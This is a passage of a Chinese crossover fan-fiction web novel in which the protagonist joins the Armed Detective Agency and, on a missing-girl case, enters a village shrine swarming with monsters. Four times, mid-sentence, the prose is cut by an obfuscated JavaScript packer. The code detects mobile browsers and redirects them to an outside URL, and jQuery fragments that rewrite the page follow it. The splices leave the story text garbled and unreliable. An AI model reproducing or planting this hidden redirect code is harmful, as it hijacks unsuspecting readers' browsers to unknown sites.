在回侦探社的路上,佐藤阳翔和东方仗助简单地说了一下和港口mafia打起来的来龙去脉。中岛敦觉得很愧疚,头垂得低低的:“说到底,全都是因为我——所以镜花酱才被人植入了发信器,你们才会和芥川打起来啊...我居然还安安心心地在看电影...” 他说着,脚步突然顿住。然后转过身朝佐藤阳翔深深地鞠了一躬,闭紧眼睛大声道:“对不起佐藤先生,你和东方君都为我做到了这种份上,我之前还觉得你是个骗钱的坏人...” “啊,这点倒没说错吧。”东方仗助说,“阳翔他本来就以骗人为乐啊!” “东方仗助!”佐藤阳翔气够呛,“你能不能不要在这种时候抹黑我的形象!” 中岛敦立即尴尬地摆了摆手表示佐藤阳翔的高大形象并没有受到损伤,然后斟酌了一下语气:“那个...我想问一下,佐藤先生和芥川很熟吗?啊,我没有别的意思,只是想起佐藤先生以前说自己曾经在港口mafia里工作过...” “唔,当时关系其实还行吧。”佐藤阳翔说,“以前合作过一段时间,不过后面闹掰了。” 他们说着,不知不觉间已经来到了武装侦探社的楼下,正巧碰到了来咖啡厅补充糖分的国木田独步与谷崎兄妹。直美一手拿着银色的小勺,一手沾着奶油伸进哥哥的衣摆干坏事,把谷崎润一郎折腾得够呛,完全没有空闲和自己的同事打招呼。 国木田独步远远地看见站在门口的泉镜花,皱眉放下了杯子,语气不太好:“小子,看来你并没有听从别人的劝告啊。我和你说过的吧,不要把港口mafia的人带到侦探社这里来——” 佐藤阳翔及时解围:“镜花是我带来的。” 国木田独步这时才将视线重新分给了站在一旁的佐藤阳翔与东方仗助,推了推眼镜,身体靠回椅子上,像是得了一种一看见佐藤阳翔就头疼的病:“...怎么又是你?” 上次在港口码头及时出手,后来又被卷入传送口谜团的家伙——先是给自己增加了问话工作,又是不得不替代侦探社出面,大晚上和他一起跑到警察局捞人,好像每每看见佐藤阳翔出现,都代表着有灾祸即将发生。 果不其然,佐藤阳翔下一刻就说:“我要见你们社长。” “嗯,果然是...嗯?!” 这下,不仅仅是国木田独步,谷崎兄妹和中岛敦都不由得愣住了,纷纷停下自己手中的事开始打量这名看起来不知天高地厚的青年。 谷崎润一郎率先打破了尴尬的气氛:“那个...如果你有什么委托的话,直接和我们说就好了,也可以在侦探社那里填一下个人信息的表格...” “不,我并没有要委托的任务,我只是想要见你们社长一面。” 可惜的是,佐藤阳翔说这句话的时候完全看不出在开玩笑的样子——中岛敦还更情愿他这时候其实在拿大家找乐子呢! “开什么玩笑!”国木田独步站起身,居高临下地看着佐藤阳翔,眉毛皱得可以夹苍蝇了,“没有正当理由的话当然不可能让你见到社长...” 然而,他的话还没有说完,一名戴着红框眼镜的女人便从楼上走了下来:“不好意思,请问佐藤先生在这里吗?” “我在。” 春野绮罗子见状,立即朝佐藤阳翔露出了一个得体且温和的微笑,还恭恭敬敬地一躬身,说:“社长正在等你,佐藤先生,请随我来吧。” 25 当佐藤阳翔来到社长办公室的门前时,为他指路的春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889038|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野绮罗子已经离开。 佐藤阳翔虽然已经和武装侦探社打了好几次交道,侦探社里的面孔有一大半他都已经见过,但他从来没有从他们口中得知什么有关社长的情报。 门特意留了一丝缝隙,佐藤阳翔刚要抬手敲门,便听见从里面传出一道威严低沉的声音:“直接进来。” 推开门,正坐办公桌后面的是一名银发的中年男子,穿着传统的日式和服,目光深沉且威严,身上散发着与声音如出一辙的魄力。除开福泽谕吉外,社长办公桌旁还站着一位神情懒洋洋的,正眯着眼睛摆弄着弹珠的青年。 “我还以为我要在外面撒泼打滚,才能见到侦探社的社长呢。”佐藤阳翔笑了笑,自来熟地跳过了自我介绍这一环,将视线投往了站在一旁的江户川乱步,“虽然早就听说了贵社名侦探的大名,但是居然能预测到这种份上,真是让人惊讶。” “寒暄就免了,说出你的目的。”福泽谕吉并没有正面回答,目光与声音都充满了压迫感。 “好吧,那我就直说了——我想要和贵社合作,如果能加入贵社的话就更好了。” 佐藤阳翔开门见山道,“这个请求虽然有点突然,但也不是一时兴起。您应该很清楚,横滨现在风波不断,从突然出现的东方仗助,再到蓝色传送口事件,后来又出现了只有砍断头才能消灭的【恶鬼】,越来越多奇怪的事情正在上演...” “那也和我们侦探社没有关系吧?”一直沉默许久的江户川乱步终于转过头来,语气轻飘飘的,“东方仗助是来找你的,被卷入蓝色传送口的人也是你,遇到【恶鬼】的人还是你——” 他睁开那双翠绿色的眼睛:“你想要借侦探社的正规身份名正言顺地去追查这些谜团,说到底只对你个人有好处。侦探社如果吸收了你,可能还会因为你的过去而不得不和港口mafia打交道,怎么看吃亏的都是我们啊。” ...这家伙还挺不好糊弄的。 但目前看下来确实如此——佐藤阳翔会提出加入侦探社,原因无他:传送口事件被侦探社问询的经历让他一下子意识到,如果自己想要一个能触碰到谜团核心的正统身份,那么有着异能开业许可证的武装侦探社就是最好的选择。 所以,他才会在电影院里义无反顾地救下中岛敦,扮演起一个热心好人的形象,想要趁此机会卖侦探社一个人情。 只可惜,佐藤阳翔的感情牌还没有打出,江户川乱步便一眼侦查出了他的内心想法:“你是想用救下了中岛敦这件事来邀功吗?‘我今天刚救下了你们的社员,所以我是站在你们这边的’——你是想这么说吧?” 佐藤阳翔:“......” 不是,你说的全是我的词啊! “够了。”就在气氛即将陷入尴尬之时,福泽谕吉终于发话,“你的意思,我已经清楚了。横滨即将陷入一场前所未有的危机——这件事所有人都有目共睹,侦探社也绝对不会坐视不理。” “现在,我只问你一个问题。”福泽谕吉从桌前站起,来到了佐藤阳翔的面前,目光如同捕猎的鹰隼。 “在危险发生之时,你能否作为一名合格的社员保护同伴,保护这座城市?” 14. 第十四章 26 武装侦探社事务所内,大家正在进行激烈的讨论。 国木田独步觉得佐藤阳翔突然找上社长,恐怕又是在说什么灾祸或者与港口mafia有关的坏事;中岛敦猜测善良(大概是吧)的佐藤先生可能正在拜托社长接受镜花;谷崎直美则觉得从春野小姐会主动下楼迎接,说不定佐藤阳翔其实是在替什么大人物向社长传话。 “东方君知道佐藤先生打算干什么吗?” 中岛敦原以为东方仗助作为朋友会多少知道一点,但对方却摇了摇头:“不知道。阳翔他就是这个样子啦,看起来没心没肺的,但脑子里在想什么东西又只有他自己知道——他是不会把自己的想法透露给任何人的,行事虽然看起来很随便,但他肯定有自己的理由。” “哼,果然是个麻烦的家伙。” 国木田独步如此评价道,但还不等他继续抨击佐藤阳翔带来的麻烦,便听见事务所的大门忽然传来了敲门声——来人肯定不是佐藤阳翔,这家伙在熟人扎堆的地方从来不讲什么礼仪。 距离大门最近的谷崎润一郎打开门,看见了一张有些憔悴与担忧的脸。来人是一名年纪约莫在三十岁上下的男人,身上还穿着有些蹩脚的西装,看起来风尘仆仆的:“你好,请问这里是侦探社吗?” “啊,是的。请问您是...?” 男人沉默片刻,才哑着嗓子道:“...我的名字叫做谷守蜂,经朋友介绍才找来的,我有想要委托侦探社调查的事。” 国木田独步向中岛敦使了个眼色,中岛敦立刻把泉镜花和东方仗助这两位无关人员领到了另一旁;谷崎直美则将一杯热腾腾的可可放在了谷守蜂面前。 谷崎润一郎问:“谷守先生,请问您方便说一下具体的委托内容吗?” “我想要委托侦探社寻找我的妹妹。”谷守蜂颤抖着嘴唇,“我离开横滨已经很久,自从我的父母离世以后,我的妹妹小慧就一直住在他们留下的房子里。她是个很听话的孩子,从来不让我担心,但是半个月前...我突然联系不上她了,拜托朋友去家里看了,回复说家里并没有人在。” 谷守蜂忍不住将脸深深地埋入了掌心里:“我真的很担心小慧的安危...” 国木田独步问:“有联系过警方吗?” “我找了,可是他们就只是让我等着!我等了足足一个星期,但还是什么消息都没有。”谷守蜂绝望道,“我怕再等下去小慧会有危险,有朋友向我推荐了你们侦探社,所以——我想请你们寻找我妹妹的行踪!” 由于传送口的莫名出现,最近在横滨发生的神隐事件越来越多,加上官方有意向群众隐瞒,恐怕警方那里也被各类案件忙得焦头烂额。 在人手不足的情况下,谷守慧的失踪案件恐怕就得被排到后面。 “那个...可以说说您与令妹最后一次联系的情况吗?”在一旁记录的谷崎润一郎适时提问,“比如联系时间、聊天内容,或者令妹有没有什么反常的地方...” “联系时间就是半个月前。小慧她每天都会给我打电话,那次我们也只是说了一些当天发生的趣事,和往常一样,没有什么不对劲的地方。” 谷守蜂说着,突然眼前一亮:“...啊,我想起来了,小慧当时和我说第二天要去横滨周围的村子里采风,好像是为了完成美术课布置的作业——但是小慧说自己当天就会回来。那天晚上我没有接到她的电话,还以为她只是外出太累了而已...” “我们明白了,那就从这个村子先开始排查吧。”国木田独步把一份委托单放在了桌子上,“还请谷守先生告诉我们令妹的居住地址,以及采风的地址,并留下你的联系方式。如果调查有结果,我们会及时告知你的。” 谷守蜂按照要求一一写完,离开前深深地向他们鞠了一躬:“那么,我的妹妹就拜托各位了。” 直到门扉关合,中岛敦才带着泉镜花与东方仗助从一旁走了出来。国木田独步则皱着眉头打量着手中的照片,照片上的少女挂着如阳光般灿烂的笑容。 ——谷守慧,十四岁。 某天外出采风时无故失踪。失踪期间,其兄谷守蜂没有接到过任何有关妹妹消息的电话,因此谷守慧应该并没有遭遇勒索,但也不排除遇到妇女走私犯,或者被卷入传送口的可能。 更重要的是,她失踪距今已经过去了半个月,现在的情况恐怕已经凶多吉少。 中岛敦在查看过委托单后,提出了自己的想法:“感觉那个村子感觉有点可疑...” “啊,所以我们得跑一趟。”国木田独步脸色凝重,“而且,如果这桩委托涉及到传送口的话就麻烦了。” 目前他们仅知从传送口里活着回来的,就只有佐藤阳翔和东方仗助这两人而已。 如果谷守慧真的被卷了进去,那能不能找到尸骨都很难说。 “这桩委托比较棘手,现场调查就交给...” “就交给我吧。” 就在这时,武装侦探社的大门再次打开,佐藤阳翔慢腾腾地踱步进来,向着一脸呆滞的几人露出了一个无辜的表情:“嗯?大家为什么都这么看着我?没人想和新同事打个热情的招呼吗?” 谷崎润一郎:“......” 谷崎直美:“......” 中岛敦:“......” 国木田独步:“...哈?!” 27 佐藤阳翔成为了武装侦探社的一员。 是的,这位浑身都是谜团,并且身负一千万日元赏金的无业游民兼前港口mafia,突然推门进来宣布自己成为了武装侦探社的一员。不过很可惜,这个消息似乎有点太具有冲击力了,简直就和村口骑鬼火的前科少年突然某天入职了正规企业一样离谱。 “啊...那个,恭喜...?” 中岛敦试探着出声。但看周围人的表情,自己的道贺好像显得有点太突兀了。 佐藤阳翔佯装受伤:“...大家怎么看起来一点都不欢迎新队友,好受伤啊。” 关于佐藤阳翔加入侦探社,最不认可的果然是国木田独步:“喂,你在开什么玩笑,当侦探社是游乐场吗?我可没听说过这种事...” “这件事是我的决断。” 福泽谕吉从佐藤阳翔的身后走出,语气斩钉截铁且不容置疑。他低头看了一眼站在面前的佐藤阳翔,沉声道,“不要忘了你刚刚承诺过的话。” “当然。”佐藤阳翔说,“刚刚在门口遇到了委托人,我大概知道都发生什么事了,所以这件事就交给我吧——这也是我加入武装侦探社的‘入社测试’,对吧?” 福泽谕吉颔首。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889039|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 佐藤阳翔刚刚在社长办公室中已经表明了自己的立场:他愿意成为守护横滨的一份子;同样的,武装侦探社收集到的所有与异常力量相关的信息情报,都要同步给他——目前来看,还暂且能算得上是一场双赢的合作。 江户川乱步虽然并不认可招纳这样的社员入社,但也并没有出声反对。 毕竟他们的目标是一致的:侦探社希望解决这些异常,佐藤阳翔则想要弄清这些异常背后的真相——只有在利益一致的时候,人性与誓言才最为可靠。 东方仗助倒是对佐藤阳翔突然就成为了侦探社的一员一点都不感到惊讶——非常符合他的行事风格,而且侦探社的大家看起来都是好人,自己还能无痛花佐藤阳翔的工资,还有比现在更Great的局面吗? “...既然是社长的吩咐,那就这样办吧。”国木田独步扫了一眼呆在一旁的中岛敦,“小子,你和他一起去,这次就由你来带他。” “欸?欸!我吗?” 被骤然点名的中岛敦瞪大眼睛,像是上课突然被严厉的老师叫起来回答问题的小孩,有些局促不安地道,“让我带着佐藤先生一起执行任务是不是太...” “敦君不也是侦探社的一员吗?”谷崎直美俏皮地向他竖起大拇指,“作为前辈,要拿出点勇气来呀。” “对呀。”佐藤阳翔也笑眯眯地拍了拍他的肩膀,“那就请多指教咯,前辈!” “是...我会努力的。” 一脸颓态的中岛敦只好干巴巴地扯了扯嘴角,露出了一个比哭还难看的笑。 ——这还是他第一次带新人进行现场调查,而且还是这种从前完全没有接触过的任务类型。 佐藤阳翔老早就发了消息让大野光极接东方仗助回去,这会儿他的火红摩托都开到楼下了。或许是知道佐藤阳翔这回是干正事,又或许是看见佐藤阳翔有同伴陪着,所以东方仗助这回居然没有再胡搅蛮缠。 佐藤阳翔送他到了楼下。在上车之前,东方仗助的表情不知为何显得有点犹豫:“...那我这次就先回去咯。” “嗯,你就好好地呆在家等我。” “我知道啦。”东方仗助现在脸上的表情很像被丈夫硬赶回家的妻子,反复告诫自家不省事的另一半,“不过你家就被我征用了,你要是很久都不回来的话,我就把你家搞得一团糟,并且还不用【疯狂钻石】修复,让你的钱包大出血。” ...这又是什么对付自己的新招式? 渣男·佐藤阳翔单手插兜,向他摆了摆手以示告别:“我知道了。真是的,你什么时候变得这么啰嗦了...” 他说着,突然迎来了一个温暖的怀抱。 是东方仗助。佐藤阳翔一抬头只能看见他带着紫色耳钉的侧脸,和迅速飞起的红晕。但这个拥抱只维持了一瞬间就分开了,快得佐藤阳翔还以为一切都是自己的错觉。 “你可要好好活着回来啊。” “仗助,你...” 少年的脖子和脸正以一种肉眼可见的速度变红,但依旧勉力维持着一副刚刚什么都没发生的样子。 东方仗助甚至不敢去看佐藤阳翔究竟是一副什么表情,便在他说话前先一步跳上了大野光极的爱车,背对着佐藤阳翔挥了挥手,催促大野光极赶紧载他回去看拳赛——他几乎是落荒而逃。 15. 第十五章 28 中岛敦与佐藤阳翔收拾好东西后马上就出发了,目的地便是谷守慧采风的村子。 佐藤阳翔扛着大野光极刚刚从出租屋里拿带来的吉他包,衬衫袖口挽起,走在街上的时候简直像娱乐圈的模特,一路上被好几名女性问了联系方式,与身边气氛消沉的中岛敦行成了鲜明的对比。 如果国木田独步在场,绝对会痛批佐藤阳翔的招摇。但中岛敦现在正在为即将执行的任务烦心——除此之外还有一些不安和尴尬。 “少年,你不用这么有负担。”佐藤阳翔真诚地说,“我很好说话的,而且干活也很专业,从来都不坑同伴哦。” 他越是这么讲,中岛敦就越觉得过去肯定有某个倒霉蛋在佐藤阳翔的手里吃过大亏。 (芥川·倒霉蛋·龙之介突然打了个喷嚏。) 中岛敦尴尬地笑了笑,决定先从对方肩上的吉他包入手找话题:“那个...没想到佐藤先生很热爱音乐呢。” “还好吧。以前在港口mafia里工作的时候,一旦遇见讨人厌的家伙,我一般都会把他们抓起来听我唱歌,一个小时以后这些人就会跪在地上边磕头边哭着求我别唱了。” “啊?是真的吗?” “假的,运用了夸张的修辞手法。”佐藤阳翔看着一言难尽的中岛敦问,“...我的笑话不好笑吗?” “......” 中岛敦这下连尴尬的表情都扯不出来了。 “好吧,看来我没什么做搞笑艺人的天赋。”佐藤阳翔叹气,随后正色道,“很可惜,我的吉他包里并没有吉他,甚至连根话筒都没有——里面放了一件不太能上街的东西,如果被路人活着巡警看见的话,恐怕会给侦探社带来大麻烦。” 中岛敦成功被调动起了好奇心:“里面是什么东西?” “是一把刀哦,少年。”佐藤阳翔的语气神秘莫测,“就连我也不知道这东西的来历,它就像是从某一天突然出现的神兵利器——是不是很神秘?” 中岛敦无语:“...佐藤先生又想骗我吗?” “这次绝对是真的哦。”佐藤阳翔认真地说,“我真的不记得它是什么时候出现的了。” 那把充满奇特力量的长刀就像是某天突然飞到佐藤阳翔衣柜里的一般,佐藤阳翔自己都不清楚这到底是怎么一回事。 除此之外,他上到幼年在孤儿院摸爬滚打,下到在港口mafia打工,再到现在加入武装侦探社,人生中的每一轮重大环节都记得清清楚楚。 “话说,出来这么久,我们居然还没到地方啊...” 两人都没钱买代步车,没想到那个的村子偏僻得要死,起码得通过各种交通工具更迭转乘才能抵达,等他们到地方的时候,就连太阳都快下山了。 佐藤阳翔远远地看见一名包着头巾的妇女正蹲在河边洗衣服,还主动上前打了个招呼。女人一见到有外人来村子里,敦厚的脸上挂起热情的微笑:“诶呀,你们是来村子里采风的吗?” 妇女杀手佐藤阳翔立即讨巧地接话道:“是呀,我们是来完成美术老师下发的课业的,听朋友说这里的风景特别好呢。” “可惜,你们错过好时机啦。”女人说,“半个月前,我们村子正好赶上一年一度的村祭节,那时候村子里才最热闹呢。” 佐藤阳翔与中岛敦不动声色地对视一眼,看来谷守慧会来这个村子采风并非心血来潮,很可能就是来参加村祭节的。但此后便再无音讯——村祭节上或许发生了什么特别的事。 “村祭节的时候,村子里有什么活动吗?” “大家会一起到神社举办宴请神明的大会,还有游街活动呢。”女人说,“不过村祭节的装饰过两天才撤下来,你们现在来也不算太迟。” 佐藤阳翔问:“神社往哪里走呢?” “顺着这条河,一路走下去就能看见啦,我们村里的人都会为你们指路的。”女人笑眯眯地说,“去求个御守吧,神明大人会保护你们的哦。” 村内。 佐藤阳翔与中岛敦作为外来者,一路上遇到了不少村民,他们无一不热情欢迎,看起来非常亲和,还主动给两人说起了半个月前村子里举办村祭节的热闹场景,有的还提到了神明庇佑先民的传说。 这座村子似乎信奉着什么特别的神明,每年村祭节的时候,全村都要出力,举办盛大的活动。 “现在过去的话,你们还能见到漂亮的神社哦!” “去求个御守吧,神明大人会保护你们的哟!” ——如此一类的话,却在一路上强调了无数遍,听得中岛敦不由得开始觉得毛骨悚然。这些村民热情地为他们指明了通往神社的方向,一双双眼睛齐齐目送着他们,像是目送着即将前往刑场的愚昧牲畜。 直到面前出现插满彩旗的蜿蜒小路,石阶通上高耸的山峰时,二人才停了下来。 不知何时,刚刚还催促着二人去神社的村民都消失不见了。 “佐藤先生,接下来请务必小心。”中岛敦露出凝重的神情,“感觉不太对劲。” 中岛敦虽然加入侦探社也没多久,但他也因为自身的特殊经历过大大小小的战斗。白虎的直觉告诉他,这座神社绝对没有普通神社那么简单,即便是站在山脚下,他也能闻到一股奇异的味道——并不是血腥味,但更加接近于死亡。 佐藤阳翔倒还是那副无所谓的模样,率先踏上了前往神社的石阶。 一级,两级。 这座神社高得可怕,石阶像是永远不会走完一般,二人不知道走了多久,才远远地看见红色的鸟居,以及用秸秆编成的黄色注连绳。 走近后,一名少女正背对着他们站在鸟居前的樱花树下。直到他们靠近,才转身露出一个如阳光般的灿烂微笑,像是等候已久的朋友,还兴致满满地朝他们挥了挥手:“葉、小奈,你们终于来了,我等你们好久啦!” 29 半个月前,谷守慧与同伴山下葉、左井彩奈一起外出采风。半月之后,三人音讯全无,家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889040|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以失踪为由报警,警方至今没有找到三人的下落。 而现在,失踪半个月的谷守慧就这么直接地出现在了二人的面前,身上并没有伤痕,看起来也不像是失踪的样子。她兴奋地招呼着中岛敦与佐藤阳翔,但喊出的却是两名同伴的名字。 眼前的谷守慧,真的还是【谷守慧】吗? 佐藤阳翔低头,突然毫无预兆地伸手在谷守慧脸上掐了一把。 中岛敦:“!” “欸!好痛啊,葉你在干什么啊!”谷守慧吃痛地捂住脸,气鼓鼓地瞪着眼前的“山下葉”,表现出很不满的模样。 佐藤阳翔弯起嘴角,语气自然:“抱歉,看见小慧太可爱,一下子没忍住。” “真的?哼哼,那我就勉为其难地原谅你吧。” 佐藤阳翔真不愧是女性之友,三言两语就哄得小姑娘没了脾气。见中岛敦还是一头雾水的样子,佐藤阳翔借着谷守慧转身的瞬间,低头附在他的耳边低声道:“摸起来像活人。” 皮肤温热细腻,看起来并没有假扮的痕迹。 “我们运气真好,今天还遇到了村祭节,村民们都好热情。”谷守慧一边说着,一边背着手一步步跳上石阶,看起来兴奋且好奇,“我还是第一次参与这种节日呢,真希望我哥哥也能一起来啊。” “可是村祭节不是...” “那小慧明年再带你哥哥来吧,这次我们是来完成美术作业的嘛。” 佐藤阳翔从善如流地假扮起了“山下葉”的身份,中岛敦也在这一瞬间意识到,贸然暴露自己的身份并不是什么好事,还不如先顺着【谷守慧】的话说下去。 “对...对啊。”中岛敦也语气僵硬地附和着,与佐藤阳翔心照不宣地并肩走在了谷守慧的身后,“小慧下次再和你哥哥来吧。” “唔,说的也是。” 三人一起走过长长的参道,作为一座村子信仰祭拜的神社,此时却意外地一个人都没有,只有白色纸垂被风吹得沙沙作响的声音。 再往前走,路过手水舍便又是一道鸟居,湛蓝的青空下,披着琉璃瓦的建筑群显得格外耀眼。谷守慧停下来,望着被村民们装饰了各色彩绸和风铃的参道与狛犬赞叹不已:“葉、小奈,你们快看,真的超特别的~路边还搬来了好多鲜花呢!” 但中岛敦与佐藤阳翔的表情却变得难看起来。 在她的身后,不知道该用什么词语来形容的生物正密密麻麻地挤作一团,有的像蜈蚣一样盘踞在鸟居上,缓慢地绕着柱子移动着;有的就趴在狛犬的背上,露出了只长着单瞳的脸,让人单是看一眼便觉得头皮发麻。 这座神社就像是孕育着妖邪的温床,等待着口粮的到来。 一名穿着神主服的男人踩着高履缓缓走出。他一出现,所有的怪物都奇迹般地安静下来。 “几位是来参加村祭节的外地人吧?村祭节快要开始了。”男人露出了一个温和的微笑,但那样的表情就像是悬浮于面皮上的一张画而已,“欢迎你们来到神社。” 16. 第十六章 30 如果要用一个词来形容中岛敦现在的心情,那他将毫不犹豫地选择“糟糕至极”。 几乎在刚看见那些怪物的瞬间,他就已经做好了【虎化】双手战斗的准备,无论从哪方面来看,这里都散发着令人窒息的的危险气息;佐藤阳翔面色如常,但搭在中岛敦肩膀上的手微微用力,示意他先不要轻举妄动。 现在,他们正和谷守慧齐齐跟在自称“神主”的男人身后往里走。 谷守慧像是什么异常都没有发现,踩着轻快的步伐,如同孩童般好奇地到处看,甚至还凑到了一只独眼妖怪的面前打量着它盘踞的那尊狛犬,几乎快把头塞进对方的嘴里,看得中岛敦心惊肉跳,连忙扯住谷守慧往里走。 但这样的举动,无疑让注视着他的视线变得更加森冷。 就在这时,佐藤阳翔开口了:“神主大人,今天的神社怎么没见到什么人呢?” “啊,那是因为在村祭节开始之前,为了防止冲撞到神明,本村的村民是不能随便进入神社的。”神主的声音轻飘飘的,像是很快就要随风消散,“神社供奉的是我们当地的土地神,和其他地方的神社不太一样——不过请不用担心,这种习俗只需要当地人遵守就好了。” 听起来像是某种针对本地人设下的规则,但结合眼下的情况来看,这恐怕不是仅仅是为了防止本地人冲撞神明设置的,而是为了专门将外地人骗到这里来。 怪不得在来的路上,竟然没有一名村民们愿意亲身带他们前往目的地,反而拼命地催促着两名外地人去看看未撤下装饰的神社。 ——【经过装饰的神社】,其深意会是【出现怪物的神社】吗? 拜殿梁上,果不其然又挤着与刚刚如出一辙的妖怪,看外形接近于蛆虫与千足蜈蚣,即便是在晒不到太阳的黑暗里,也能一眼看见那一双双发光森然的眼睛,中岛敦简直本能地感到生理不适。 半个月前来到神社的那三名女孩子,看见的会是和今天一样的情景吗? “我们是来村子里采风的学生,可以让我们自由参观一下神社吗?我们绝对不会干坏事的哦!”退出拜殿后,谷守慧非常真诚地双手合十,朝神主做出了一个拜托的表情,“好啦,葉和小奈你们也别光看着了,快点来一起求求神主大人呀!” 佐藤阳翔应了一声,问:“神主大人,有哪些地方,是我们这些外地人绝对不能去的吗?或者有哪些行为,是神社中的禁忌吗?” “没有。”神主温和地说,“你们想要怎么样都可以,我们的土地神温柔而慈悲,对待信徒都是非常宽容的。你们就随便逛逛吧,有什么想问的直接来社务所找我就好了。” ——“温柔慈悲”的土地神,会不允许本地村民在村祭节开始前进入神社? 那祂还真是【宽容】啊。 神主离去后,殿前只剩下了谷守慧、佐藤阳翔与中岛敦三人。 他们还没有忘记前来采风的目的,原本打算要兵分三路,一人去一个地方拍照的,但佐藤阳翔却在三人即将分开的时候突然揽住中岛敦的肩膀,对谷守慧露出了一个充满歉意的微笑。 “对不起小慧,我突然想起要和小奈说件事,待会儿我们在本殿外的香火箱那里集合吧!” 谢天谢地,中岛敦一点都不想在这座神社里一个人呆着。 但谷守慧却不满地鼓起了脸颊:“什么嘛?!你们两个,什么时候突然背着我变得这么要好了?” “唔,一下子很难说明,不过我们回去的时候会向你解释的。”佐藤阳翔也学着刚刚谷守慧恳求神主的模样合起了掌心,“晚上还可以请你吃你最想吃的那家店哦。” “真的吗?!那我要吃元町商店街的那家回转寿司。” 佐藤阳翔一口应下:“当然可以,那我们待会儿再过去找你哦。” 说完,他就拖着中岛敦退出了第二座鸟居,回到了没有妖邪聚集的手水舍中。在确保手水舍周围并没有监听的人或者怪物后,佐藤阳翔才恹恹地从自己的衬衫口袋里掏出了一个微型发信器,上面果然跳动着标志着无信号的红灯。 “欸?佐藤先生怎么会有这个东西...” “为了预防万一,临走前从太宰治的工位上拿的。”佐藤阳翔抱胸,将追踪器塞回了自己的口袋里,“话说回来,他去哪里了?不会是翘班了吧?——一想到我们在这里要被迫和这么多蜈蚣还是什么蛆虫打招呼,而太宰治这家伙居然翘班了,真想一脚把他踹进河里啊。” “...那太宰先生应该会很感激你吧。”中岛敦尴尬地挠了挠后脑勺,“听说太宰先生失踪是常事...不过,我们把谷守小姐一个人丢在那里真的好吗?” “她死不了。”佐藤阳翔无情地说,“她都失踪半个月了,难道还差今天这一天吗?” “可是,我觉得谷守小姐好像不太对劲。”中岛敦沉思片刻,说出了自己的想法,“谷守小姐好像把我们认成她的同伴了,神主又说今天是村祭节...我们会不会其实已经来到半个月前了啊?” “你相信时间会逆转吗?”佐藤阳翔问。 中岛敦当然不愿意相信,但他又不得不给无法理解的异常寻找一个合适的理由...不管他如何思索,都只剩下了这一个近乎荒谬的猜想。 可如果神社内的时间与外界不同,他们真的回到村祭节那一天的话,山下葉和左井彩奈没有理由不在现场。 “那就先以你的猜想,去找找线索吧。”佐藤阳翔对这句话既没有肯定也没有反驳,而是直接拉着中岛敦又折回了妖怪的巢穴,前往了本殿。 香火箱旁空空荡荡,谷守慧不知所踪。 “她不在的话,我们就先到处逛一逛。” 下一刻,佐藤阳翔竟然直接跨越了挡在本殿前的竹竿,大摇大摆地走了进去。 中岛敦大惊失色:“佐藤先生,一般本殿不能进去的吧!” “那有什么关系,神主大人不是说他们的土地神很宽容吗?” 佐藤阳翔本以为本殿里也会和参殿一样爬满怪物,但出乎意料的是,其实里面什么都没有——没有活人的气息,也没有杀气和危险的气息,让人不由得产生了一种是不是已经从噩梦返回现实的错觉。 本殿内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889041|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有一尊神器供奉在其中,除此之外再没有任何生物的影子。佐藤阳翔绕了一圈后,低下头双掌合十,装模作样地摆出了虔诚祭拜的姿势,中岛敦起初还以为他是在乞求神明宽恕,没想到他口中念念有词,居然说的是:“虽然已经错过一次机会了,但还是希望神明大人能让我有一天彩票中七亿日元。” “......” 都这种紧急情况了,就别再想着买彩票了吧! 这里虽然是本殿,但其实殿内并不大,一般人都是不会贸然进入这里的,最多停留在香火箱前祈祷神明给予庇佑,但佐藤阳翔不能用“一般人”的标准来衡量,他就和猫一样专门往各种不能去的地方钻,而且一点也不害怕。 佐藤阳翔出来后,就拉着中岛敦去了存放御灵用具的小房子,那里存放着许多用于祭祀的神社用具,一推开大门,浓厚的灰尘就扑面而来。 两人屏息,等待灰尘散尽后,发现里面还有一口深深的废井,通过从井口爬上地面的爬山虎判断,这口井应该已经干涸废弃多年,而且一眼望下去,也只有黑漆漆的一片,完全望不到底。 并且,这口井正散发着一股令人作呕的味道。 